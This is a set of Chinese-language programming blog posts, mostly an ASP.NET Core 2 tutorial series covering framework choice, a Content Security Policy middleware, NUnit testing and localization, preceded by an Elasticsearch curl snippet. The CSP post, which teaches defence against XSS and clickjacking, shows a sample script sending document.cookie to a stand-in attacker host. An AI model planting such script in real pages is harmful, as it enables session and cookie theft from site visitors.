yellow open student iZPqPcwrQbifGOfE9DQYvg 5 1 0 0  955b  955b

添加 Document 数据:

$ curl -XPUT 'http://node1:9200/twitter/tweet/1' -d '{
    "user" : "kimchy",
    "post_date" : "2009-11-15T14:12:12",
    "message" : "trying out Elastic Search"
}'

获取 Document 数据:

$ curl -XGET 'http://node1:9200/twitter/tweet/1'
{"_index":"twitter","_type":"tweet","_id":"1","_version":1,"found":true,"_source":{
    "user" : "kimchy",
    "post_date" : "2009-11-15T14:12:12",
    "message" : "trying out Elastic Search"
}}%

查询zipkin索引下面的数据:

$ curl -XGET 'http://node1:9200/zipkin:*/_search'

参考资料:

作者:田园里的蟋蟀
微信公众号:你好架构
出处:http://www.cnblogs.com/xishuai/
公众号会不定时的分享有关架构的方方面面,包含并不局限于:Microservices(微服务)、Service Mesh(服务网格)、DDD/TDD、Spring Cloud、Dubbo、Service Fabric、Linkerd、Envoy、Istio、Conduit、Kubernetes、Docker、MacOS/Linux、Java、.NET Core/ASP.NET Core、Redis、RabbitMQ、MongoDB、GitLab、CI/CD(持续集成/持续部署)、DevOps等等。
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接。

[鐵人賽 End] ASP.NET Core vs ASP.NET MVC

ASP.NET Core 2 系列文的結尾想了好幾個,也換過好幾次主題。最終還是決定用,常被問到的問題來做總結。

『ASP.NET Core vs ASP.NET MVC 如何選擇?』

本篇簡單整理了一些資訊,粗略分享 ASP.NET Core 及 ASP.NET MVC 的優劣比較。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[End] ASP.NET Core 2 系列 – ASP.NET Core vs ASP.NET MVC

先用下表簡單的歸納各方訊息的結果:

特性 ASP.NET Core ASP.NET MVC
穩定性
文件資源
技術資源
套件支援
跨平台 Host
高效能
微服務
Docker 支援
持續更新

很明顯 ASP.NET Core 是具有未來競爭的優勢,但很多人在意的是現階段穩定性這點,因此不敢貿然使用在正式產品。

其實 ASP.NET Core 的穩定性並沒有這麼可怕,ASP.NET Core 都已經是 Open Source 了,真的遇到有問題的地方,可以直接 Checkout 下來 Debug,我自己就幹過好幾次這樣的事。Open Source 的社群力量再加上微軟強力支持,相信在短時間就能追上 ASP.NET MVC 的穩定程度。

所以這個問題,『ASP.NET Core vs ASP.NET MVC 如何選擇?』,我會這樣回答:

  • 喜歡(願意)嘗試新技術的團隊(人)。
    不要再考慮了!選擇 ASP.NET Core 吧!
  • 有足夠能力解決技術問題的團隊(人)。
    所有的 Bug 都在那裡了!去挑戰 ASP.NET Core 吧!
  • 現有系統使用 ASP.NET MVC 的團隊(人)。
    換技術不會賺比較多錢!不要沒事找事做!繼續用 ASP.NET MVC 吧!
  • 想玩 .NET Solution 微服務或 Docker 的團隊(人)。
    ASP.NET MVC 根本不在同個量級!選擇 ASP.NET Core 吧!
    (什麼 P 比雞腿的概念)
  • 想要快速開發出產品,但團隊只熟悉 ASP.NET MVC。
    趕快來閱讀 ASP.NET Core 從入門到實用 系列,然後選擇 ASP.NET Core 吧!XD

最後,ASP.NET Core 很難用 30 篇文章介紹完,但此系列文應該都有把基礎功能介紹到。
進階的部分就建議動手做,親手體驗 ASP.NET Core 的特性。

致謝

感謝老婆一挑三照顧三個小孩,讓我晚上可以安靜的寫文章。
感謝隊長Blackie力邀參加鐵人賽,在隊長英明領導的帶領之下,總算全員完賽!
感謝隊友Claire盡心參與,一同完成賽事。
感謝各位讀者願意看,如有介紹不夠詳細或看不懂的部分,請多多指教。

推薦

iT 邦幫忙 2018 鐵人賽,隊友的系列文一定要支持一下:

參考

Choosing between .NET Core and .NET Framework for server apps
ASP.NET Or ASP.NET Core, What To Choose?
.NET Core vs .NET Framework: How to Pick a .NET Runtime for an Application
C# .NET Core programs versus Java

[鐵人賽 Day27] ASP.NET Core 2 系列 – 網頁內容安全政策 (Content Security Policy)

跨網站腳本 (Cross-Site Scripting, XSS) 攻擊是常見的攻擊手法,有效的阻擋方式是透過網頁內容安全政策 (Content Security Policy, CSP) 規範,告知瀏覽器發出的 Request 位置是否受信任,阻擋非預期的對外連線,加強網站安全性。
本篇將介紹 ASP.NET Core 自製 CSP Middleware 防止 XSS 攻擊。
另外,做範例的過程中,剛好發現 iT 邦幫忙 沒有擋 Clickjacking,所以就順便補充。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day27] ASP.NET Core 2 系列 – 網頁內容安全政策 (Content Security Policy)

XSS 介紹

攻擊者可能透過任何形式的漏洞,在網站中安插惡意的程式碼,例如:

1
2
3
4
5
<script>
    var req = new XMLHttpRequest();
    req.open("GET", "https://attacker.johnwu.cc?cookie="+document.cookie);
    req.send();
</script>

當使用者開啟頁面,Cookie 就被送走了。情境如下:

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - XSS 介紹

CSP 介紹

CSP 是瀏覽器提供網站設定白名單的機制,網站可以告知瀏覽器,該網頁有哪些位置可以連、哪些位置不能連。現行大部分的瀏覽器都有支援 CSP,可以從 Can I use Content Security Policy 查看支援的瀏覽器及版本。

CSP 的設定方式有兩種:

  1. HTTP Header 加入 Content-Security-Policy: {Policy}
    當有不符合安全政策的情況,瀏覽器就會提報錯誤, 並終止該行為執行
  2. HTTP Header 加入 Content-Security-Policy-Report-Only: {Policy}
    當有不符合安全政策的情況,瀏覽器就會提報錯誤, 但會繼續執行 。

    主要用於測試用,怕網站直接套上 CSP 導致功能不正常。

  3. HTML 加入 <meta>
    在 HTML <head> 區塊加入 <meta http-equiv="Content-Security-Policy" content="{Policy}">
    當有不符合安全政策的情況,瀏覽器就會提報錯誤, 並終止該行為執行

    <meta> 的方式不支援 Report-Only 的方式。

CSP 範例

建立一個簡單的範例 HTML,分別載入內外部資源,如下:

Views/Home/Index.cshtml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<!DOCTYPE html>
<html>

<head>
    <meta name="viewport" content="width=device-width" />
    <title>CSP Sample</title>

    <link rel="stylesheet" href="/css/fonts.css?csp-sample" />
    <link rel="stylesheet" href="https://blog.johnwu.cc/css/fonts.css?csp-sample" />
</head>

<body>
    <h1>CSP Sample</h1>
    <table>
        <tr>
            <th>類別</th>
            <th>內部資源</th>
            <th>外部資源</th>
        </tr>
        <tr>
            <td>圖片</td>
            <td>
                <img width="100" src="/images/icon.png?csp-sample" />
            </td>
            <td>
                <img width="100" src="https://blog.johnwu.cc/images/icon.png?csp-sample" />
            </td>
        </tr>
        <tr>
            <td>IFrame</td>
            <td>
                <iframe width="180" height="180" src="/home/iframe?csp-sample"></iframe>
            </td>
            <td>
                <iframe width="180" height="180" src="https://ithelp.ithome.com.tw?csp-sample"></iframe>
            </td>
        </tr>
    </table>
    <script src="/js/jquery-2.2.4.min.js?csp-sample"></script>
    <script src="https://blog.johnwu.cc/js/lib/jquery-2.2.4.min.js?csp-sample"></script>
</body>

</html>

在未使用 CSP 前,內容都是可以正常顯示,輸出畫面如下:

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - 未使用 CSP 範例

在 Startup.Configure 註冊一個 Pipeline,把每個 Requset 都加上 CSP 的 HTTP Header,如下:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
using Microsoft.AspNetCore.Builder;
using Microsoft.Extensions.DependencyInjection;

namespace MyWebsite
{
    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddMvc();
        }

        public void Configure(IApplicationBuilder app)
        {
            app.Use(async (context, next) =>
            {
                context.Response.Headers.Add(
                    "Content-Security-Policy",
                    "style-src https:; img-src 'self'; frame-src 'none'; script-src 'self';"
                );
                await next();
            });
            app.UseStaticFiles();
            app.UseMvcWithDefaultRoute();
        }
    }
}

套用 CSP 後,輸出畫面如下:

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - 使用 CSP 範例

CSP 指令 (Directives)

上圖套用 CSP 後,連內部的 IFrame 都不顯示,主要是因為 CSP 指令的關係。
CSP 指令可以限制發出 Request 獲取資源的類型以及位置,指令的使用格式如下:

1
2
Response Headers
  Content-Security-Policy: {CSP 指令} {位置}; {CSP 指令} {位置} {..位置..} {位置};

以 ; 區分多個指令,以空格區分多個白名單位置。

常用的 CSP 指令如下:

  • default-src
    預設所有類型的載入都使用這個規則。
  • connect-src
    載入 Ajax、Web Socket 套用的規則。
  • font-src
    載入字型套用的規則。
  • frame-src
    載入 IFrame 套用的規則。
  • img-src
    載入圖片套用的規則。
  • media-src
    載入影音標籤套用的規則。如:<audio><video>等。
  • object-src
    載入非影音標籤物件套用的規則。如:<object><embed><applet>等。
  • script-src
    載入 JavaScript 套用的規則。
  • style-src
    載入 Stylesheets (CSS) 套用的規則。
  • report-uri
    當瀏覽器發現 CSP 安全性問題時,就會提報錯誤給 report-uri 指定的網址。
    若使用 Content-Security-Policy-Report-Only 就需要搭配 report-uri

    強烈建議使用回報功能,當被 XSS 攻擊時才會知道。

其他 CSP 指令可以參考 W3C 的 CSP 規範

每個 CSP 指令可以限制一個或多個能發出 Request 的位置,設定參數如下:

  • *
    允許對任何位置發出 Request。
    如:default-src *;,允許載入來自任何地方、任何類型的資源。
  • 'none'
    不允許對任何位置發出 Request。
    如:media-src 'none';,不允許載入影音標籤。
  • 'self' 只允許同網域的位置發出 Request。
    如:script-src 'self';,只允許載入同網域的 *.js
  • URL
    指定允許發出 Request 的位置,可搭配 * 使用。
    如:img-src http://cdn.johnwu.cc https:;,只允許從 http://cdn.johnwu.cc 或其他 HTTPS 的位置載入 *.css

建立 CSP Middleware

上述 CSP 套用在 Header 的格式實在很容易打錯字,而且又是弱型別,日後實在不易維護。
所以可以自製一個 CSP Middleware 來包裝這 CSP,方便日後使用。

把 CSP 指令都變成強行別,如下:

  • CspDirective.cs
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    public class CspDirective
    {
        private readonly string _directive;
    
        internal CspDirective(string directive)
        {
            _directive = directive;
        }
        private List<string> _sources { get; set; } = new List<string>();
        public virtual CspDirective AllowAny() => Allow("*");
        public virtual CspDirective Disallow() => Allow("'none'");
        public virtual CspDirective AllowSelf() => Allow("'self'");
        public virtual CspDirective Allow(string source)
        {
            _sources.Add(source);
            return this;
        }
        public override string ToString() => _sources.Count > 0
            ? $"{_directive} {string.Join(" ", _sources)}; " : "";
    }
  • CspOptions.cs
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    public class CspOptions
    {
        public bool ReadOnly { get; set; }
        public CspDirective Defaults { get; set; } = new CspDirective("default-src");
        public CspDirective Connects { get; set; } = new CspDirective("connect-src");
        public CspDirective Fonts { get; set; } = new CspDirective("font-src");
        public CspDirective Frames { get; set; } = new CspDirective("frame-src");
        public CspDirective Images { get; set; } = new CspDirective("img-src");
        public CspDirective Media { get; set; } = new CspDirective("media-src");
        public CspDirective Objects { get; set; } = new CspDirective("object-src");
        public CspDirective Scripts { get; set; } = new CspDirective("script-src");
        public CspDirective Styles { get; set; } = new CspDirective("style-src");
        public string ReportURL { get; set; }
    }

然後建立 CSP 的 Middleware,如下:

CspMiddleware.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class CspMiddleware
{
    private readonly RequestDelegate _next;
    private readonly CspOptions _options;

    public CspMiddleware(RequestDelegate next, CspOptions options)
    {
        _next = next;
        _options = options;
    }

    private string Header => _options.ReadOnly
        ? "Content-Security-Policy-Report-Only" : "Content-Security-Policy";

    private string HeaderValue
    {
        get 
        {
          var stringBuilder = new StringBuilder();
          stringBuilder.Append(_options.Defaults);
          stringBuilder.Append(_options.Connects);
          stringBuilder.Append(_options.Fonts);
          stringBuilder.Append(_options.Frames);
          stringBuilder.Append(_options.Images);
          stringBuilder.Append(_options.Media);
          stringBuilder.Append(_options.Objects);
          stringBuilder.Append(_options.Scripts);
          stringBuilder.Append(_options.Styles);
          if (!string.IsNullOrEmpty(_options.ReportURL))
          {
              stringBuilder.Append($"report-uri {_options.ReportURL};");
          }
          return stringBuilder.ToString();
        }
    }
    
    public async Task Invoke(HttpContext context)
    {
        context.Response.Headers.Add(Header, HeaderValue);
        await _next(context);
    }
}

再用一個靜態方法包 CSP Middleware,方便註冊使用,如下:

CspMiddlewareExtensions.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
public static class CspMiddlewareExtensions
{
    public static IApplicationBuilder UseCsp(this IApplicationBuilder app, CspOptions options)
    {
        return app.UseMiddleware<CspMiddleware>(options);
    }
    public static IApplicationBuilder UseCsp(this IApplicationBuilder app, Action<CspOptions> optionsDelegate)
    {
        var options = new CspOptions();
        optionsDelegate(options);
        return app.UseMiddleware<CspMiddleware>(options);
    }
}

把原本註冊在 Startup.Configure 的 Pipeline 改成用 UseCsp 註冊,如下:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
using Microsoft.AspNetCore.Builder;
using Microsoft.Extensions.DependencyInjection;

namespace MyWebsite
{
    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddMvc();
        }

        public void Configure(IApplicationBuilder app)
        {
            // app.Use(async (context, next) =>
            // {
            //     context.Response.Headers.Add(
            //         "Content-Security-Policy",
            //         "style-src https:; img-src 'self'; frame-src 'none'; script-src 'self';"
            //     );
            //     await next();
            // });
            app.UseCsp(options =>
            {
                options.Styles.Allow("https:");
                options.Images.AllowSelf();
                options.Frames.Disallow();
                options.Scripts.AllowSelf();
            });
            app.UseStaticFiles();
            app.UseMvcWithDefaultRoute();
        }
    }
}

一樣的 CSP 規則,強行別的註冊方式看起來感覺清爽多了。

Clickjacking 攻擊

Clickjacking 是一種透過 IFrame 的偽裝攻擊方式。
攻擊者可以透過嵌入被攻擊目標網頁,偽裝成目標網頁,進而攔截使用者的資料。如下圖:

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - Clickjacking 攻擊

紅色框現內的 IFrame 用 iT 邦幫忙 的頁面,然後在 Main Frame 透過 JavaScript 攔截使用者的操作事件,範例程式碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<head>
    <meta name="viewport" content="width=device-width" />
    <title>Clickjacking Sample</title>
    <style>
        iframe {
            width: 98%;
            height: 75%;
        }

        .cover {
            position: absolute;
            top: 65px;
            width: 98%;
            height: 75%;
            background-color: rgba(255, 0, 0, .3);
        }
    </style>
    <script>
        var doSomething = function () {
            alert("你以為你在點誰?");
        };
    </script>
</head>

<body>
    <h1>Clickjacking Sample</h1>
    <div class="cover" onclick="doSomething();"></div>
    <iframe src="https://ithelp.ithome.com.tw/"></iframe>
</body>

</html>

當使用者以為點擊到被攻擊目標,實際上點到的是偽裝的網站,如圖:

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - Clickjacking 攻擊

X-Frame-Options

Clickjacking 攻擊可以透過 CSP 的 frame-ancestors 防範,但似乎還不是所有瀏覽器都支援 frame-ancestors,較通用的方式是在 HTTP Header 加上 X-Frame-Options,通知瀏覽器該頁面是否能被當作 IFrame 使用。
延伸上面 CSP Middleware 的範例,建立一個 FrameOptionsDirective.cs 繼承 CspDirective,如下:

FrameOptionsDirective.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class FrameOptionsDirective : CspDirective
{
    public FrameOptionsDirective() : base("frame-ancestors")
    {

    }
    public string XFrameOptions { get; private set; }
    public override CspDirective AllowAny()
    {
        XFrameOptions = "";
        return base.AllowAny();
    }
    public override CspDirective Disallow()
    {
        XFrameOptions = "deny";
        return base.Disallow();
    }
    public override CspDirective AllowSelf()
    {
        XFrameOptions = "sameorigin";
        return base.AllowSelf();
    }
    public override CspDirective Allow(string source)
    {
        XFrameOptions = $"allow-from {source}";
        return base.Allow(source);
    }
}

CspOptions.cs

1
2
3
4
5
public class CspOptions
{
    // ...
    public FrameOptionsDirective FrameAncestors { get; set; } = new FrameOptionsDirective();
}

CspMiddleware.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class CspMiddleware
{
    private string HeaderValue
    {
        get
        {
            // ...
            stringBuilder.Append(_options.FrameAncestors);
            return stringBuilder.ToString();
        }
    }

    public async Task Invoke(HttpContext context)
    {
        context.Response.Headers.Add(Header, HeaderValue);
        if (!string.IsNullOrEmpty(_options.FrameAncestors.XFrameOptions))
        {
            context.Response.Headers.Add("X-Frame-Options", _options.FrameAncestors.XFrameOptions);
        }
        await _next(context);
    }
}

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
public class Startup
{
    public void Configure(IApplicationBuilder app)
    {
        app.UseCsp(options =>
        {
            // ...
            options.FrameAncestors.Allow("https://blog.johnwu.cc");
        });
        // ...
    }
}

X-Frame-Options 不支援多個網域,如果要設定多個網域,建議搭配著 CSP 的 frame-ancestors 使用。

設定完成後,當被未允許的 Domain 嵌入為 IFrame 頁面時,瀏覽器就提報錯誤。
把上面範例程式碼的 IFrame URL 改為 https://www.google.com.tw/
Google 有設定 X-Frame-Options 為 sameorigin ,所以會產生錯誤訊息,如下:

Refused to display ‘https://www.google.com.tw/‘ in a frame because it set ‘X-Frame-Options’ to ‘sameorigin’.

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - X-Frame-Options

參考

USING CSP HEADER IN ASP.NET CORE 2.0
Content Security Policy Level 3
Content-Security-Policy – HTTP Headers 的資安議題 (2)
[翻譯] 我是這樣拿走大家網站上的信用卡號跟密碼的(推薦閱讀)

[鐵人賽 Day25] ASP.NET Core 2 系列 – 單元測試 (NUnit)

.NET Core 的單元測試框架有支援 xUnit、NUnit 及 MSTest,官方是比較推薦用 xUnit,但 NUnit 似乎比較受 .NET 工程師歡迎,我個人也是比較愛用 NUnit。
本篇將介紹 ASP.NET Core 搭配 NUnit 單元測試框架及如何用 Visual Studio Code (VS Code) 呈現視覺化測試結果。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day25] ASP.NET Core 2 系列 – 單元測試 (NUnit)

建立方案

之前的範例都只有一個 Web 專案,由於要增加測試專案的關係,檔案的目錄結構建議異動成以下架構:

1
2
3
MyWebsite/                        # 方案資料夾
  MyWebsite/                      # Web 專案目錄
  MyWebsite.Tests/                # 單元測試專案目錄

若要透過 .NET Core CLI 建立 NUnit 樣板專案,需要先安裝 NUnit 的樣板專案,指令如下:

1
dotnet new --install NUnit3.DotNetNew.Template

跟著以下步驟建立整個方案:

1
2
3
4
5
6
mkdir MyWebsite
cd MyWebsite
# 建立 Web 樣板專案
dotnet new web --name MyWebsite
# 建立 NUnit 樣板專案
dotnet new nunit --name MyWebsite.Tests

[鐵人賽 Day25] ASP.NET Core 2 系列 - 單元測試 (NUnit) - 建立方案

包含 Web 專案及 NUnit 專案的方案內容如下:

[鐵人賽 Day25] ASP.NET Core 2 系列 - 單元測試 (NUnit) - 方案內容

執行測試

NUnit 樣板專案會預帶一個 UnitTest1.cs 做為單元測試的範例,可以透過 .NET Core CLI 執行測試,指令如下:

1
2
# dotnet test <測試專案名稱>
dotnet test MyWebsite.Tests

[鐵人賽 Day25] ASP.NET Core 2 系列 - 單元測試 (NUnit) - 執行測試

測試案例

被測試的目標以[鐵人賽 Day24] ASP.NET Core 2 系列 – Entity Framework Core文中的 Repository Pattern 的 Controllers/UserController.cs 做為範例。
由於測試專案 MyWebsite.Tests 會參考到 MyWebsite 專案,所以要在 MyWebsite.Tests 加入對 MyWebsite 的參考,透過 .NET Core CLI 加入參考的指令如下:

1
2
# dotnet add <專案名稱> reference <被參考專案的 csproj 檔>
dotnet add MyWebsite.Tests reference MyWebsite\MyWebsite.csproj

被測試的目標會需要用到 Mock Framework,我慣用的 Mock Framework 是 NSubstitute,所以會以 NSubstitute 為 Mock 範例,安裝指令:

1
dotnet add MyWebsite.Tests package NSubstitute

在 MyWebsite.Tests 專案新增 Controllers\UserControllerTests.cs,測試案例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
using System;
using System.Collections.Generic;
using System.Linq.Expressions;
using MyWebsite.Controllers;
using MyWebsite.Repositories;
using NSubstitute;
using NUnit.Framework;

namespace MyWebsite.Tests.Controllers
{
    public class UserControllerTests
    {
        private IRepository<UserModel, int> _fakeRepository;
        private UserController _target;

        [SetUp]
        public void SetUp()
        {
            _fakeRepository = Substitute.For<IRepository<UserModel, int>>();
            _target = new UserController(_fakeRepository);
        }

        [Test]
        public void SearchUser()
        {
            // Arrange
            var query = "test";
            var model = new UserModel { Id = 1 };
            _fakeRepository.Find(Arg.Any<Expression<Func<UserModel, bool>>>())
                .Returns(new List<UserModel> { model });

            // Act
            var actual = _target.Get(query);

            // Assert
            Assert.IsTrue(actual.IsSuccess);
        }

        [Test]
        public void GetUser()
        {
            // Arrange
            var model = new UserModel { Id = 1 };
            _fakeRepository.FindById(Arg.Any<int>()).Returns(model);

            // Act
            var actual = _target.Get(model.Id);

            // Assert
            Assert.IsTrue(actual.IsSuccess);
        }

        [Test]
        public void CreateUser()
        {
            // Arrange
            var model = new UserModel();

            // Act
            var actual = _target.Post(model);

            // Assert
            Assert.IsTrue(actual.IsSuccess);
        }

        [Test]
        public void UpdateUser()
        {
            // Arrange
            var model = new UserModel { Id = 1 };

            // Act
            var actual = _target.Put(model.Id, model);

            // Assert
            Assert.IsTrue(actual.IsSuccess);
        }

        [Test]
        public void DeleteUser()
        {
            // Arrange
            var model = new UserModel { Id = 1 };

            // Act
            var actual = _target.Delete(model.Id);

            // Assert
            //Assert.IsTrue(actual.IsSuccess);
            Assert.Fail();
        }
    }
}

測試結果如下:

[鐵人賽 Day25] ASP.NET Core 2 系列 - 單元測試 (NUnit) - 測試結果

Visual Studio Code

每次要測試都要打指令,顯得有點麻煩,而且透過指令執行顯示的測試結果,以純文字顯示也不怎麼好看。
VS Code 有測試專案用的擴充套件,可以直接在程式碼中看到那些測試案例成功或失敗。

打開 VS Code 在 Extensions 搜尋列輸入 test ,便可以找到 .NET Core Test Explorer 的擴充套件安裝。如下圖:

[鐵人賽 Day25] ASP.NET Core 2 系列 - 單元測試 (NUnit) - .NET Core Test Explorer

安裝完成後在方案資料夾下的 .vscode\settings.json 新增 dotnet-test-explorer.testProjectPath 指定測試專案位置,如下:

.vscode\settings.json

1
2
3
{
    "dotnet-test-explorer.testProjectPath": "MyWebsite.Tests"
}

就可以透過 VS Code UI 執行單元測試,並且能在程式碼中看到那些測試案例成功或失敗。如下:

[鐵人賽 Day25] ASP.NET Core 2 系列 - 單元測試 (NUnit) - .NET Core Test Explorer

參考

Unit Testing in .NET Core and .NET Standard

[鐵人賽 Day21] ASP.NET Core 2 系列 – 多國語言 (Localization)

全球化的網站不免都要做多國語言,ASP.NET Core 的多國語言設定方式跟 ASP.NET MVC 有很大的落差。
本篇將介紹 ASP.NET Core 多國語言 (Localization) 的設定方式。

iT 邦幫忙 2018 鐵人賽 – Modern Web 組參賽文章:
[Day21] ASP.NET Core 2 系列 – 多國語言 (Localization)

建立多國語言檔

過去 ASP.NET 語系檔都是用 *.resx 格式,現在 ASP.NET Core 也是沿用此格式,但檔案結構確很不一樣。ASP.NET Core 語系檔命名規則必須要與類別的 namespace 階層相互對應。例如 Controllers、Views、Models 要用的語系檔跟類別對應如下:

  • Controllers\HomeController.cs 要用的 en-GB 語系檔名稱:
    • Resources\Controllers\HomeController.en-GB.resx
    • 或 Resources\Controllers.HomeController.en-GB.resx
  • Controllers\HomeController.cs 要用的 zh-TW 語系檔名稱:
    • Resources\Controllers\HomeController.zh-TW.resx
    • 或 Resources\Controllers.HomeController.zh-TW.resx
  • Views\Home\Index.cshtml 要用的 en-GB 語系檔名稱:
    • Resources\Views\Home\Index.en-GB.resx
    • 或 Resources\Views.Home.Index.en-GB.resx
  • Views\Home\Index.cshtml 要用的 zh-TW 語系檔名稱:
    • Resources\Views\Home\Index.zh-TW.resx
    • 或 Resources\Views.Home.Index.zh-TW.resx

多國語言檔建立規則跟 ASP.NET MVC 有很大的差別。

  • *.resx 檔案必須對應使用的路徑位置。
  • *.resx 檔案的語系帶在後綴。如:*.en-GB.resx

*.resx 語系檔內容大致如下:

Resources\Controllers.HomeController.en-GB.resx

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<root>
  <data name="Hello">
    <value>Hello~ This message from Resources\Controllers.HomeController.en-GB.resx</value>
  </data>
</root>

若以 Visual Studio IDE 開發 (如 Visual Studio 2017),可以從 UI 新增資源檔 *.resx。在網站目錄中建立 Resources 的資料夾,並新增資源檔 *.resx。如下:

[鐵人賽 Day21] ASP.NET Core 2 系列 - 多國語言 (Localization) - 新增資源檔 1

[鐵人賽 Day21] ASP.NET Core 2 系列 - 多國語言 (Localization) - 新增資源檔 2

註冊服務

ASP.NET Core 使用多國語言,需要 Microsoft.AspNetCore.Localization 套件。
在此範例中我還需要從 Routing 抓取語系的資訊,所以也需要 Microsoft.AspNetCore.Localization.Routing 套件。
透過 .NET Core CLI 在專案資料夾執行安裝指令:

1
2
dotnet add package Microsoft.AspNetCore.Localization
dotnet add package Microsoft.AspNetCore.Routing

ASP.NET Core 2.0 以上版本,預設是參考 Microsoft.AspNetCore.All,已經包含 Microsoft.AspNetCore.Localization 及 Microsoft.AspNetCore.Routing,所以不用再安裝。

在 Startup.ConfigureServices 註冊多國語言需要的服務,以及修改多國語的 Routing 方式。如下:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Mvc.Razor;
using Microsoft.Extensions.DependencyInjection;

namespace MyWebsite
{
    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddLocalization(options => options.ResourcesPath = "Resources");
            services.AddMvc()
                    .AddViewLocalization()
                    .AddDataAnnotationsLocalization();
        }

        public void Configure(IApplicationBuilder app)
        {
            app.UseMvc(routes =>
            {
                routes.MapRoute(
                    name: "default",
                    template: "{culture=en-GB}/{controller=Home}/{action=Index}/{id?}"
                );
            });
        }
    }
}
  • AddLocalization
    主要的多國語言服務,ResourcesPath 是指定資源檔的目錄位置
  • AddViewLocalization
    為了在 cshtml 中使用多國語言,如果沒有需要在 View 中使用多國語言,可以不需要註冊它。
  • AddDataAnnotationsLocalization
    為了在 Model 中使用多國語言,如果沒有需要在 Model 中使用多國語言,可以不需要註冊它。
  • MapRoute
    在 Routing 中增加 culture 語系資訊,用來判斷多國語言。

    如果不想用 Routing 的方式,也可以改用 QueryString 帶入語系資訊。

Middleware

建立一個 CultureMiddleware 來包裝 Localization 的 Middleware,可以做支援語言的管理。

Middlewares\CultureMiddleware.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Localization;
using Microsoft.AspNetCore.Localization.Routing;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;

namespace MyWebsite.Middlewares
{
    public class CultureMiddleware
    {
        private static readonly List<CultureInfo> _supportedCultures = new List<CultureInfo>
        {
            new CultureInfo("en-GB"),
            new CultureInfo("zh-TW")
        };

        private static readonly RequestLocalizationOptions _localizationOptions = new RequestLocalizationOptions()
        {
            DefaultRequestCulture = new RequestCulture(_supportedCultures.First()),
            SupportedCultures = _supportedCultures,
            SupportedUICultures = _supportedCultures,
            RequestCultureProviders = new[]
            {
                new RouteDataRequestCultureProvider() { Options = _localizationOptions }
            }
        };

        public void Configure(IApplicationBuilder app)
        {
            app.UseRequestLocalization(_localizationOptions);
        }
    }
}

每個 Requset 都會執行 RequestCultureProviders 中的 CultureProvider,用來判斷語系資訊,套用正確的資源檔。
Microsoft.AspNetCore.Localization 套件支援的 CultureProvider 有三種:

  • QueryStringRequestCultureProvider
    從 QueryString 判斷語系資訊。如:http://localhost:500/?culture=zh-TW
  • CookieRequestCultureProvider
    從 Cookie 判斷語系資訊。
  • AcceptLanguageHeaderRequestCultureProvider
    從 HTTP Header 判斷語系資訊。

而我是用 Routing 判斷語系資訊,以上三種都不合我用。
Routing 判斷語系可以用 Microsoft.AspNetCore.Localization.Routing 套件的 RouteDataRequestCultureProvider

把 CultureMiddleware 註冊在需要用到的 Controller 或 Action。如下:

Controllers\HomeController.cs

1
2
3
4
5
[MiddlewareFilter(typeof(CultureMiddleware))]
public class HomeController : Controller
{
    // ...
}

通常 ASP.NET Core 網站會伴隨著 API,API 不需要語系資訊,所以不建議註冊在全域。

套用多國語言

Controller

在 Controller 要使用多國語言的話,需要在建構子加入 IStringLocalizer 參數,執行期間會把 _localizer 的實體注入近來。
把 Resource Key 丟入 _localizer,就可以得到該語系的值。

Controllers\HomeController.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
using System.Globalization;
